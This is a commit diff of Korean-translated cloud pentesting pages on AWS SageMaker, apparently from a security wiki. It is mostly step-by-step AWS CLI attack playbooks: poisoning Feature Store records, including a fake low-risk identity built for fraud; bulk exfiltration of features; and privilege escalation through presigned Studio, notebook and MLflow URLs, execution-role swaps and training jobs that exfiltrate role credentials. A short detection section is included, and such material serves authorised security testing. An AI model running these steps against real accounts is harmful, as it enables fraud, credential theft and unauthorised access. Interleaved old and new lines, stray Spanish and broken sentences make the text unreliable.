Translated ['src/pentesting-cloud/aws-security/aws-privilege-escalation/

This commit is contained in:
Translator
2025-10-17 15:55:38 +00:00
parent 1d472623c6
commit 18d208c718
4 changed files with 420 additions and 212 deletions
@@ -1,50 +1,160 @@
# SageMaker Feature Store online store poisoning
OnlineStore가 활성화된 Feature Group에서 `sagemaker:PutRecord`를 남용하여 온라인 추론에서 사용되는 실시간 feature 값을 덮어쓸 수 있습니다. `sagemaker:GetRecord`와 결합하면 공격자 민감한 feature 값을 읽을 수 있습니다. 이는 models 또는 endpoints에 대한 접근을 필요로 하지 않습니다.
`sagemaker:PutRecord`OnlineStore가 활성화된 Feature Group에서 용하여 온라인 추론에서 사용되는 라이브 feature 값을 덮어쓸 수 있습니다. `sagemaker:GetRecord`와 결합하면 공격자 민감한 feature를 읽고 기밀 ML 데이터를 유출할 수 있습니다. 이 공격은 모델이나 endpoints에 대한 접근을 요구하지 않으므로 직접적인 데이터 계층 공격입니다.
## Requirements
- 권한: `sagemaker:ListFeatureGroups`, `sagemaker:DescribeFeatureGroup`, `sagemaker:PutRecord`, `sagemaker:GetRecord`
- 대상: OnlineStore가 활성화된 Feature Group (일반적으로 실시간 추론을 지원)
- 대상: OnlineStore가 활성화된 Feature Group (일반적으로 실시간 추론을 지원)
- 복잡도: **LOW** - 간단한 AWS CLI 명령, 모델 조작 불필요
## Steps
1) 테스트용으로 작은 Online Feature Group을 선택하거나 생성하십시오.
### Reconnaissance
1) OnlineStore가 활성화된 Feature Group 나열
```bash
REGION=${REGION:-us-east-1}
aws sagemaker list-feature-groups \
--region $REGION \
--query "FeatureGroupSummaries[?OnlineStoreConfig!=null].[FeatureGroupName,CreationTime]" \
--output table
```
2) 대상 Feature Group의 스키마를 이해하기 위해 Describe합니다.
```bash
FG=<feature-group-name>
aws sagemaker describe-feature-group \
--region $REGION \
--feature-group-name "$FG"
```
다음 항목인 `RecordIdentifierFeatureName`, `EventTimeFeatureName` 및 모든 feature 정의를 확인하세요. 이는 유효한 레코드를 작성하는 데 필요합니다.
### 공격 시나리오 1: Data Poisoning (Overwrite Existing Records)
1) 현재 정상 레코드를 읽습니다.
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
2) 인라인 `--record` 매개변수를 사용하여 레코드를 악성 값으로 오염시킵니다.
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
# Example: Change risk_score from 0.15 to 0.99 to block a legitimate user
aws sagemaker-featurestore-runtime put-record \
--region $REGION \
--feature-group-name "$FG" \
--record "[
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-001\"},
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.99\"},
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"125.50\"},
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"POISONED\"}
]" \
--target-stores OnlineStore
```
3) 오염된 데이터 검증
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-001
```
**영향**: 이 피처를 사용하는 ML 모델은 합법적인 사용자에 대해 `risk_score=0.99`를 보게 되어 거래나 서비스가 차단될 수 있습니다.
### Attack Scenario 2: Malicious Data Injection (Create Fraudulent Records)
보안 통제를 회피하기 위해 조작된 피처를 가진 완전히 새로운 레코드를 주입합니다:
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
# Create fake user with artificially low risk to perform fraudulent transactions
aws sagemaker-featurestore-runtime put-record \
--region $REGION \
--feature-group-name "$FG" \
--record "[
{\"FeatureName\": \"entity_id\", \"ValueAsString\": \"user-999\"},
{\"FeatureName\": \"event_time\", \"ValueAsString\": \"$NOW\"},
{\"FeatureName\": \"risk_score\", \"ValueAsString\": \"0.01\"},
{\"FeatureName\": \"transaction_amount\", \"ValueAsString\": \"999999.99\"},
{\"FeatureName\": \"account_status\", \"ValueAsString\": \"approved\"}
]" \
--target-stores OnlineStore
```
injection을 확인하세요:
```bash
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string user-999
```
**영향**: Attacker는 낮은 risk score (0.01)를 가진 fake identity를 생성하여 fraud detection을 유발하지 않고 고액의 fraudulent transactions를 수행할 수 있습니다.
### 공격 시나리오 3: 민감한 데이터 유출
여러 레코드를 읽어 기밀 features를 추출하고 모델 동작을 프로파일링합니다:
```bash
# Exfiltrate data for known users
for USER_ID in user-001 user-002 user-003 user-999; do
echo "Exfiltrating data for ${USER_ID}:"
aws sagemaker-featurestore-runtime get-record \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-value-as-string ${USER_ID}
done
```
**영향**: 기밀 피처(위험 점수, 거래 패턴, 개인 데이터)가 공격자에게 노출될 수 있음.
### 테스트/데모 Feature Group 생성(선택사항)
테스트 Feature Group을 생성해야 하는 경우:
```bash
REGION=${REGION:-us-east-1}
FG=$(aws sagemaker list-feature-groups --region $REGION --query "FeatureGroupSummaries[?OnlineStoreConfig!=null]|[0].FeatureGroupName" --output text)
if [ -z "$FG" -o "$FG" = "None" ]; then
ACC=$(aws sts get-caller-identity --query Account --output text)
FG=ht-fg-$ACC-$(date +%s)
FG=test-fg-$ACC-$(date +%s)
ROLE_ARN=$(aws iam get-role --role-name AmazonSageMaker-ExecutionRole --query Role.Arn --output text 2>/dev/null || echo arn:aws:iam::$ACC:role/service-role/AmazonSageMaker-ExecutionRole)
aws sagemaker create-feature-group --region $REGION --feature-group-name "$FG" --record-identifier-feature-name entity_id --event-time-feature-name event_time --feature-definitions "[{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"}]" --online-store-config "{\"EnableOnlineStore\":true}" --role-arn "$ROLE_ARN"
aws sagemaker create-feature-group \
--region $REGION \
--feature-group-name "$FG" \
--record-identifier-feature-name entity_id \
--event-time-feature-name event_time \
--feature-definitions "[
{\"FeatureName\":\"entity_id\",\"FeatureType\":\"String\"},
{\"FeatureName\":\"event_time\",\"FeatureType\":\"String\"},
{\"FeatureName\":\"risk_score\",\"FeatureType\":\"Fractional\"},
{\"FeatureName\":\"transaction_amount\",\"FeatureType\":\"Fractional\"},
{\"FeatureName\":\"account_status\",\"FeatureType\":\"String\"}
]" \
--online-store-config "{\"EnableOnlineStore\":true}" \
--role-arn "$ROLE_ARN"
echo "Waiting for feature group to be in Created state..."
for i in $(seq 1 40); do
ST=$(aws sagemaker describe-feature-group --region $REGION --feature-group-name "$FG" --query FeatureGroupStatus --output text || true)
echo $ST; [ "$ST" = "Created" ] && break; sleep 15
echo "$ST"; [ "$ST" = "Created" ] && break; sleep 15
done
fi
```
2) 온라인 레코드 삽입/덮어쓰기 (poison)
```bash
NOW=$(date -u +%Y-%m-%dT%H:%M:%SZ)
cat > /tmp/put.json << JSON
{
"FeatureGroupName": "$FG",
"Record": [
{"FeatureName": "entity_id", "ValueAsString": "user-123"},
{"FeatureName": "event_time", "ValueAsString": "$NOW"},
{"FeatureName": "risk_score", "ValueAsString": "0.99"}
],
"TargetStores": ["OnlineStore"]
}
JSON
aws sagemaker-featurestore-runtime put-record --region $REGION --cli-input-json file:///tmp/put.json
```
3) 조작을 확인하기 위해 레코드를 다시 읽어본다.
```bash
aws sagemaker-featurestore-runtime get-record --region $REGION --feature-group-name "$FG" --record-identifier-value-as-string user-123 --feature-name risk_score --query "Record[0].ValueAsString"
```
예상: risk_score returns 0.99 (attacker-set), proving ability to change online features consumed by models.
## 영향
- Real-time integrity attack: endpoints/models을 건드리지 않고 production models에서 사용되는 features를 조작할 수 있음.
- 기밀성 위험: OnlineStore에서 GetRecord를 통해 민감한 features를 읽을 수 있음.
echo "Feature Group ready: $FG"
```
## 탐지
CloudTrail에서 의심스러운 패턴을 모니터링:
- `PutRecord` 이벤트가 비정상적인 IAM 주체 또는 IP addresses에서 발생
- 높은 빈도의 `PutRecord` 또는 `GetRecord` 호출
- 비정상적인 특성 값이 포함된 `PutRecord` (예: risk_score가 정상 범위를 벗어남)
- 대규모 exfiltration을 시사하는 대량의 `GetRecord` 작업
- 정상 근무 시간 외 또는 예상치 못한 위치에서의 액세스
이상 탐지 구현:
- 특성 값 검증(예: risk_score는 0.0-1.0이어야 함)
- 쓰기 패턴 분석(빈도, 시점, 출처 식별자)
- 데이터 드리프트 탐지(특성 분포의 급격한 변화)
## References
- [AWS SageMaker Feature Store Documentation](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store.html)
- [Feature Store Security Best Practices](https://docs.aws.amazon.com/sagemaker/latest/dg/feature-store-security.html)
@@ -6,34 +6,117 @@
### `iam:PassRole` , `sagemaker:CreateNotebookInstance`, `sagemaker:CreatePresignedNotebookInstanceUrl`
액세스 권한이 연결된 IAM Role notebook 생성하기 시작합니다:
IAM Role이 연결된 notebook 생성 시작하세요:
```bash
aws sagemaker create-notebook-instance --notebook-instance-name example \
--instance-type ml.t2.medium \
--role-arn arn:aws:iam::<account-id>:role/service-role/<role-name>
```
응답에는 새로 생성된 노트북 인스턴스의 ARN을 포함하는 `NotebookInstanceArn` 필드가 포함되어야 합니다. 그런 다음 `create-presigned-notebook-instance-url` API를 사용 노트북 인스턴스가 준비되면 접근할 수 있는 URL을 생성할 수 있습니다:
응답에는 생성된 노트북 인스턴스의 ARN을 포함하는 `NotebookInstanceArn` 필드가 포함되어야 합니다. 그런 다음 `create-presigned-notebook-instance-url` API를 사용하여 노트북 인스턴스가 준비되면 액세스하는 데 사용할 수 있는 URL을 생성할 수 있습니다:
```bash
aws sagemaker create-presigned-notebook-instance-url \
--notebook-instance-name <name>
```
브라우저로 해당 URL에 접속한 후 오른쪽 상단의 \`Open JupyterLab\`\`을 클릭하고, 아래로 스크롤 “Launcher” 탭에서 “Other” 섹션 아래의 “Terminal” 버튼을 클릭하세요.
브라우저에서 URL로 이동하여 오른쪽 상단의 `Open JupyterLab``을 클릭한 다음, 아래로 스크롤하여 “Launcher” 탭 “Other” 섹션에서 “Terminal” 버튼을 클릭합니다.
이제 IAM Role의 메타데이터 자격 증명에 접근하는 것이 가능합니다.
이제 IAM Role의 metadata credentials에 접근할 수 있습니다.
**잠재적 영향:** 지정된 sagemaker 서비스 역할로의 Privesc.
**Potential Impact:** 지정된 sagemaker 서비스 역할에 대한 Privesc.
### `sagemaker:CreatePresignedNotebookInstanceUrl`
만약 Jupyter에서 **노트북이 이미 실행 중인 경우**이고 `sagemaker:ListNotebookInstances`로 이를 나열할 수 있거나(또는 다른 방법으로 발견할 수 있다면), 해당 인스턴스에 대해 **URL을 생성하고 접하여 이전 기법에서 설명한 대로 자격증명을 탈취할 수 있습니다**.
만약 Jupyter **notebooks가 이미 실행 중**이고 `sagemaker:ListNotebookInstances`로 이를 나열할 수 있거나(또는 다른 방법으로 발견할 수 있다면), 해당 노트북에 대한 URL을 **생성하고 접하여 이전 기법에서 설명한 대로 자격증명을 훔칠 수 있습니다**.
```bash
aws sagemaker create-presigned-notebook-instance-url --notebook-instance-name <name>
```
**잠재적 영향:** 연결된 sagemaker 서비스 역할에 대한 Privesc.
**Potential Impact:** 연결된 sagemaker 서비스 역할로의 Privesc
## `sagemaker:CreatePresignedDomainUrl`
> [!WARNING]
> 이 공격은 SageMaker Unified Studio로 생성된 도메인이 아닌, 기존 전통적인 SageMaker Studio 도메인에서만 작동합니다. Unified Studio에서 생성된 도메인은 다음 오류를 반환합니다: "This SageMaker AI Domain was created by SageMaker Unified Studio and must be accessed via SageMaker Unified Studio Portal".
대상 Studio `UserProfile`에 대해 `sagemaker:CreatePresignedDomainUrl`를 호출할 수 있는 권한이 있는 식별자는 해당 프로필로 직접 인증되는 로그인 URL을 발급할 수 있습니다. 이는 공격자의 브라우저에 프로필의 `ExecutionRole` 권한을 상속받고 프로필의 EFS 기반 홈 및 앱에 대한 전체 접근 권한을 가진 Studio 세션을 부여합니다. `iam:PassRole` 권한이나 콘솔 접근은 필요하지 않습니다.
**Requirements**:
- SageMaker Studio `Domain` 및 그 안의 대상 `UserProfile`.
- 공격자 주체는 대상 `UserProfile`에 대해 `sagemaker:CreatePresignedDomainUrl` 권한(리소스 수준) 또는 `*`가 필요합니다.
Minimal policy example (scoped to one UserProfile):
```json
{
"Version": "2012-10-17",
"Statement": [
{
"Effect": "Allow",
"Action": "sagemaker:CreatePresignedDomainUrl",
"Resource": "arn:aws:sagemaker:<region>:<account-id>:user-profile/<domain-id>/<user-profile-name>"
}
]
}
```
**악용 단계**:
1) 공격 대상이 될 수 있는 Studio Domain 및 UserProfiles 열거
```bash
DOM=$(aws sagemaker list-domains --query 'Domains[0].DomainId' --output text)
aws sagemaker list-user-profiles --domain-id-equals $DOM
TARGET_USER=<UserProfileName>
```
2) unified studio가 사용되지 않는지 확인하세요 (attack는 기존 SageMaker Studio 도메인에서만 작동합니다)
```bash
aws sagemaker describe-domain --domain-id <DOMAIN_ID> --query 'DomainSettings'
# If you get info about unified studio, this attack won't work
```
3) presigned URL 생성 (기본적으로 약 5분 동안 유효)
```bash
aws sagemaker create-presigned-domain-url \
--domain-id $DOM \
--user-profile-name $TARGET_USER \
--query AuthorizedUrl --output text
```
4) 반환된 URL을 브라우저에서 열어 대상 사용자로 Studio에 로그인합니다. Studio 내 Jupyter 터미널에서 유효한 신원을 확인하거나 token을 exfiltrate합니다:
```bash
aws sts get-caller-identity
```
Notes:
- `--landing-uri`은 생략할 수 있습니다. 일부 값(예: `app:JupyterLab:/lab`)은 Studio의 종류/버전에 따라 거부될 수 있습니다; 기본값은 일반적으로 Studio 홈으로 리디렉션한 다음 Jupyter로 이동합니다.
- Org policies/VPC endpoint 제한으로 네트워크 액세스가 차단될 수 있습니다; 토큰 생성(token minting)은 콘솔 로그인(console signin)이나 `iam:PassRole`을 요구하지 않습니다.
**Potential Impact**: 허용된 ARN을 가진 모든 Studio `UserProfile`을 가정(assume)하여 해당 `ExecutionRole` 및 파일시스템/앱을 상속받음으로써 Lateral movement and privilege escalation.
### `sagemaker:CreatePresignedMlflowTrackingServerUrl`, `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments`
대상 SageMaker MLflow Tracking Server에 대해 `sagemaker:CreatePresignedMlflowTrackingServerUrl`(및 이후 접근을 위해 `sagemaker-mlflow:AccessUI`, `sagemaker-mlflow:SearchExperiments`) 호출 권한이 있는 주체는 그 서버의 관리형 MLflow UI에 직접 인증하는 단일 사용 presigned URL을 생성할 수 있습니다. 이 URL은 정당한 사용자가 서버에서 가지는 것과 동일한 접근 권한(실험 및 런 보기/생성, 서버의 S3 artifact store에서 아티팩트 다운로드/업로드)을 부여합니다.
**Requirements:**
- 계정/리전 내의 SageMaker MLflow Tracking Server와 해당 서버의 이름.
- 공격자 주체(attacker principal)는 대상 MLflow Tracking Server 리소스에 대해 `sagemaker:CreatePresignedMlflowTrackingServerUrl` 권한(또는 `*`)이 필요합니다.
**Abuse Steps**:
1) 공격 가능한 MLflow Tracking Server를 열거(enumerate)하고 하나의 이름을 선택합니다
```bash
aws sagemaker list-mlflow-tracking-servers \
--query 'TrackingServerSummaries[].{Name:TrackingServerName,Status:TrackingServerStatus}'
TS_NAME=<tracking-server-name>
```
2) presigned MLflow UI URL 생성 (짧은 시간 동안 유효)
```bash
aws sagemaker create-presigned-mlflow-tracking-server-url \
--tracking-server-name "$TS_NAME" \
--query AuthorizedUrl --output text
```
3) 반환된 URL을 브라우저에서 열어 해당 Tracking Server에 대해 인증된 사용자로 MLflow UI에 접근합니다.
**잠재적 영향:** 타깃 Tracking Server의 관리되는 MLflow UI에 직접 접근할 수 있으며, 서버 구성에서 적용되는 권한 범위 안에서 실험/런을 조회·수정하고, 서버에 설정된 S3 artifact store에 저장된 아티팩트를 가져오거나 업로드할 수 있습니다.
### `sagemaker:CreateProcessingJob`, `iam:PassRole`
해당 권한을 가진 공격자는 SageMaker 역할이 연결된 상태로 **SageMaker processing job을 실행**하도록 만들 수 있다. 이미 Python이 포함된 AWS Deep Learning Containers 중 하나를 재사용하고 (job을 URI와 동일한 리전에서 실행하면), 자체 이미지를 빌드하지 않고 인라인 코드 실행할 수 있다:
해당 권한을 가진 공격자는 SageMaker 역할이 부착된 상태로 **SageMaker processing job을 실행시키게** 할 수 있습니다. 이미 Python이 포함된 AWS Deep Learning Containers 중 하나를 재사용하고 (작업을 URI와 같은 리전에서 실행하면), 자체 이미지를 빌드하지 않고 인라인으로 코드 실행할 수 있습니다:
```bash
REGION=<region>
ROLE_ARN=<sagemaker-arn-role>
@@ -53,7 +136,7 @@ aws sagemaker create-processing-job \
### `sagemaker:CreateTrainingJob`, `iam:PassRole`
해당 권한을 가진 공격자는 지정된 역할로 임의 코드를 실행하는 training job을 시작할 수 있다. 공식 SageMaker 컨테이너를 사용하고 entrypoint를 payload inline으로 덮어쓰면, 자체 이미지를 빌드할 필요가 없다:
해당 권한을 가진 공격자는 지정된 역할로 임의 코드를 실행하는 training job을 시작할 수 있습니다. 공식 SageMaker 컨테이너를 사용하고 entrypoint를 payload inline으로 덮어쓰면, 자체 이미지를 빌드할 필요가 없습니다:
```bash
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
@@ -73,11 +156,11 @@ aws sagemaker create-training-job \
# El payload se ejecuta en cuanto el job pasa a InProgress y exfiltra las credenciales del rol.
```
**잠재적 영향:** 지정된 SageMaker 서비스 역할로의 Privesc.
**Potential Impact:** 지정된 SageMaker 서비스 역할에 대한 Privesc.
### `sagemaker:CreateHyperParameterTuningJob`, `iam:PassRole`
해당 권한을 가진 공격자는 제공된 역할 하에서 공격자가 제어하는 코드를 실행하는 HyperParameter Tuning Job을 시작할 수 있습니다. Script mode는 페이로드를 S3에 호스팅해야 하지만, 모든 단계는 CLI에서 자동화할 수 있습니다:
해당 권한을 가진 공격자는 제공된 역할 하에서 공격자가 제어하는 코드를 실행하는 HyperParameter Tuning Job을 시작할 수 있습니다. Script mode는 페이로드를 S3에 호스팅해야 하, 모든 단계는 CLI에서 자동화할 수 있습니다:
```bash
REGION=<region>
ROLE_ARN=<sagemaker-role-to-abuse>
@@ -183,28 +266,29 @@ aws sagemaker create-hyper-parameter-tuning-job \
--hyper-parameter-tuning-job-config '{"Strategy":"Random","ResourceLimits":{"MaxNumberOfTrainingJobs":1,"MaxParallelTrainingJobs":1},"HyperParameterTuningJobObjective":{"Type":"Maximize","MetricName":"train:loss"}}' \
--training-job-definition file:///tmp/hpo-definition.json
```
Cada entrenamiento lanzado por el proceso imprime la métrica y exfiltra las credenciales del rol indicado.
프로세스에서 시작된 각 학습은 메트릭을 출력하고 지정된 role의 자격 증명을 유출합니다.
### `sagemaker:UpdateUserProfile`/`UpdateSpace`/`UpdateDomain` Studio 역할 교체 (`iam:PassRole` 없음)
### `sagemaker:UpdateUserProfile`, `iam:PassRole`, `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`)
Prioridad de ExecutionRole:
SageMaker Studio User Profile을 업데이트하고 앱을 생성하며 앱에 대한 presigned URL을 만들 수 있는 권한과 `iam:PassRole`이 있으면, 공격자는 `ExecutionRole`을 SageMaker 서비스 주체가 맡을 수 있는 임의의 IAM role로 설정할 수 있습니다. 해당 프로필로 시작된 새로운 Studio 앱은 바뀐 역할로 실행되어 Jupyter 터미널이나 Studio에서 시작된 작업을 통해 상호작용 가능한 권한 상승을 제공합니다.
- `UserProfile` override cualquier valor. Si un perfil define `ExecutionRole`, Studio siempre usará ese rol.
- `Space` se aplica solo cuando el perfil no tiene rol propio; de lo contrario, prevalece el del perfil.
- `Domain DefaultUserSettings` actúa como último recurso cuando ni perfil ni espacio definen un rol.
SageMaker Studio User Profile (or Space/Domain)를 업데이트할 권한이 있으면 공격자는 `ExecutionRole`을 SageMaker service principal이 맡을 수 있는 모든 IAM 역할로 설정할 수 있습니다. job-creation APIs와 달리, Studio profile update APIs는 `iam:PassRole`을 요구하지 않습니다. 해당 프로필로 시작된 새 Studio 앱은 교체된 역할로 실행되어 Jupyter 터미널이나 Studio에서 시작된 작업을 통해 대화형 권한 상승을 제공합니다.
> [!WARNING]
> 이 공격은 프로필에 애플리케이션이 없어야 하며, 그렇지 않으면 앱 생성이 실패하고 다음과 유사한 오류가 발생합니다: `An error occurred (ValidationException) when calling the UpdateUserProfile operation: Unable to update UserProfile [arn:aws:sagemaker:us-east-1:947247140022:user-profile/d-fcmlssoalfra/test-user-profile-2] with InService App. Delete all InService apps for UserProfile and try again.`
> 만약 애플리케이션이 있다면 먼저 삭제하려면 `sagemaker:DeleteApp` 권한이 필요합니다.
단계:
```bash
# 1) List Studio user profiles and pick a target
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
# 2) Update the Studio profile to use the new role (no iam:PassRole)
# 3) Update the Studio profile to use the new role (no iam:PassRole)
aws sagemaker update-user-profile \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
@@ -215,18 +299,59 @@ aws sagemaker describe-user-profile \
--user-profile-name <USER> \
--query 'UserSettings.ExecutionRole' --output text
# 3) If the tenant uses Studio Spaces, swap the ExecutionRole at the space level
aws sagemaker update-space \
--domain-id <DOMAIN_ID> \
--space-name <SPACE> \
--space-settings ExecutionRole=$ROLE_ARN
# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>
aws sagemaker describe-space \
# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--space-name <SPACE> \
--query 'SpaceSettings.ExecutionRole' --output text
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 4) Optionally, change the domain default so every profile inherits the new role
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name <APP_NAME>
# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
# (should show the high-privilege role from domain defaults)
```
**Potential Impact**: 인터랙티브 Studio 세션을 위한 지정된 SageMaker 실행 역할의 권한으로 권한 상승.
### `sagemaker:UpdateDomain`, `sagemaker:CreateApp`, `iam:PassRole`, `sagemaker:CreatePresignedDomainUrl`, (`sagemaker:DeleteApp`)
SageMaker Studio Domain을 업데이트하고, 앱을 생성하며, 앱에 대한 presigned URL을 만들고 `iam:PassRole` 권한이 있으면, 공격자는 기본 도메인 `ExecutionRole`을 SageMaker 서비스 프린시펄이 맡을 수 있는 어떤 IAM 역할로든 설정할 수 있습니다. 해당 프로필에서 시작되는 새 Studio 앱은 교체된 역할로 실행되어 Jupyter 터미널이나 Studio에서 시작된 작업을 통해 인터랙티브한 권한 상승을 제공할 수 있습니다.
> [!WARNING]
> 이 공격은 도메인에 애플리케이션이 없어야 합니다. 그렇지 않으면 앱 생성이 다음 오류로 실패합니다: `An error occurred (ValidationException) when calling the UpdateDomain operation: Unable to update Domain [arn:aws:sagemaker:us-east-1:947247140022:domain/d-fcmlssoalfra] with InService App. Delete all InService apps in the domain including shared Apps for [domain-shared] User Profile, and try again.`
단계:
```bash
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# Choose a more-privileged role that already trusts sagemaker.amazonaws.com
ROLE_ARN=arn:aws:iam::<ACCOUNT_ID>:role/<HighPrivSageMakerExecutionRole>
# 3) Change the domain default so every profile inherits the new role
aws sagemaker update-domain \
--domain-id <DOMAIN_ID> \
--default-user-settings ExecutionRole=$ROLE_ARN
@@ -235,22 +360,86 @@ aws sagemaker describe-domain \
--domain-id <DOMAIN_ID> \
--query 'DefaultUserSettings.ExecutionRole' --output text
# 5) Launch a JupyterServer app (or generate a presigned URL) so new sessions assume the swapped role
aws sagemaker create-app \
# 3.1) Optional if you need to delete existing apps first
# List existing apps
aws sagemaker list-apps \
--domain-id-equals <DOMAIN_ID>
# Delete an app
aws sagemaker delete-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name js-atk
--app-name <APP_NAME>
# Optional: create a presigned Studio URL and, inside a Jupyter terminal, run:
# aws sts get-caller-identity # should reflect the new ExecutionRole
# 4) Create a JupyterServer app for a user profile (will inherit domain default role)
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--app-type JupyterServer \
--app-name js-domain-escalated
# 5) Generate a presigned URL to access Studio with the new domain default role
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
```
**잠재적 영향**: 인터랙티브 Studio 세션에서 지정된 SageMaker 실행 역할의 권한으로 권한 상승.
# 6) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
# (should show the high-privilege role from domain defaults)
```
**잠재적 영향**: 대화형 Studio 세션에서 지정된 SageMaker 실행 역할의 권한으로 권한 상승.
### `sagemaker:CreateApp`, `sagemaker:CreatePresignedDomainUrl`
공격자가 대상 UserProfile에 대해 SageMaker Studio 앱을 생성할 수 있는 권한이 있으면, 해당 UserProfile의 `ExecutionRole`로 실행되는 JupyterServer 앱을 시작할 수 있습니다. 이는 Jupyter 터미널이나 Studio에서 시작된 작업을 통해 역할의 권한에 대한 대화형 액세스를 제공합니다.
단계:
```bash
# 1) List Studio domains and pick a target
aws sagemaker list-domains --query 'Domains[].{Id:DomainId,Name:DomainName}'
# 2) List Studio user profiles and pick a target
aws sagemaker list-user-profiles --domain-id-equals <DOMAIN_ID>
# 3) Create a JupyterServer app for the user profile
aws sagemaker create-app \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--app-type JupyterServer \
--app-name js-privesc
# 4) Generate a presigned URL to access Studio
aws sagemaker create-presigned-domain-url \
--domain-id <DOMAIN_ID> \
--user-profile-name <USER> \
--query AuthorizedUrl --output text
# 5) Open the URL in browser, navigate to JupyterLab, open Terminal and verify:
# aws sts get-caller-identity
```
**Potential Impact**: 대상 UserProfile에 연결된 SageMaker 실행 역할에 대한 대화형 액세스.
### `iam:GetUser`, `datazone:CreateUserProfile`
해당 권한을 가진 공격자는 DataZone User Profile을 생성하여 특정 IAM 사용자에게 Sagemaker Unified Studio Domain에 대한 접근을 부여할 수 있습니다.
```bash
# List domains
aws datazone list-domains --region us-east-1 \
--query "items[].{Id:id,Name:name}" \
--output json
# Add IAM user as a user of the domain
aws datazone create-user-profile \
--region us-east-1 \
--domain-identifier <domain-id> \
--user-identifier <arn-user> \
--user-type IAM_USER
```
The Unified Domain URL의 형식은 다음과 같습니다: `https://<domain-id>.sagemaker.<region>.on.aws/` (예: `https://dzd-cmixuznq0h8cmf.sagemaker.us-east-1.on.aws/`).
**잠재적 영향:** 사용자가 Sagemaker Unified Studio Domain에 접근하여 Sagemaker 도메인 내의 모든 리소스에 접근할 수 있으며, Sagemaker Unified Studio Domain 내부의 노트북들이 사용하는 역할로 권한 상승(escalate privieleges)할 수도 있습니다.
## 참고자료
@@ -4,27 +4,27 @@
## 서비스 개요
Amazon SageMaker는 노트북, training infrastructure, orchestration, registries, 및 managed endpoints를 통합하는 AWS의 관리형 머신러닝 플랫폼입니다. SageMaker 리소스가 침해되면 일반적으로 다음을 얻을 수 있습니다:
Amazon SageMaker는 노트북, 학습 인프라, 오케스트레이션, 레지스트리, 관리형 엔드포인트를 하나로 연결하는 AWS의 관리형 머신러닝 플랫폼입니다. SageMaker 리소스가 침해되면 일반적으로 다음을 얻을 수 있습니다:
- 광범위한 S3, ECR, Secrets Manager 또는 KMS 접근 권한을 가진 장기적인 IAM execution roles.
- 광범위한 S3, ECR, Secrets Manager 또는 KMS 접근 권한을 가진 장기 실행 IAM execution roles.
- S3, EFS 또는 feature stores에 저장된 민감한 데이터셋에 대한 접근.
- VPCs 내부의 네트워크 거점(Studio apps, training jobs, endpoints).
- VPC 내부의 네트워크 발판(Studio apps, training jobs, endpoints).
- 콘솔 인증을 우회하는 높은 권한의 presigned URLs.
SageMaker가 어떻게 구성되는지 이해하는 것은 pivot, persist, exfiltrate하기 전에 매우 중요합니다.
SageMaker가 어떻게 구성되는지 이해하는 것은 pivot, persist 또는 exfiltrate data 전에 핵심입니다.
## 핵심 구성 요소
- **Studio Domains & Spaces**: Web IDE (JupyterLab, Code Editor, RStudio). 각 domain 공유 EFS 파일 시스템과 기본 execution role을 가집니다.
- **Studio Domains & Spaces**: IDE (JupyterLab, Code Editor, RStudio). 각 domain에는 공유 EFS 파일 시스템과 기본 execution role이 있습니다.
- **Notebook Instances**: 독립형 노트북을 위한 관리형 EC2 인스턴스; 별도의 execution roles를 사용합니다.
- **Training / Processing / Transform Jobs**: ECR에서 코드를, S3에서 데이터를 가져오는 일시적인 컨테이너입니다.
- **Pipelines & Experiments**: 모든 단계, 입력 출력을 기술하는 오케스트레이션된 워크플로우입니다.
- **Models & Endpoints**: HTTPS endpoints를 통해 inference를 제공하기 위해 배포되는 패키지된 아티팩트입니다.
